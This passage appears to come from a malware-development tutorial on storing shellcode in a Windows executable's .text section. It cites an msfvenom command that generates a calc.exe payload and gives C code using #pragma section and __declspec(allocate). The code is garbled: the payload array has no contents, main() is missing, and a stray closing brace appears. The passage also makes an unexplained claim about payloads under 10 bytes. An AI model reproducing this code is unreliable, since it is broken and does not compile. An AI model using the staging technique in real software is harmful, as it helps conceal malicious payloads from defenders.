.text Section

Saving the data in .text is different than the previous two. We must instruct the compiler to save it in the .text section, which is demonstrated in the following code.

#include <Windows.h>
#include <stdio.h>

// msfvenom calc shellcode
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
// .text saved payload
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char payload[] =

	printf("Enter to exit...\\n");
	getchar();
	return 0;
}

This is useful when payload is less than 10 bytes.
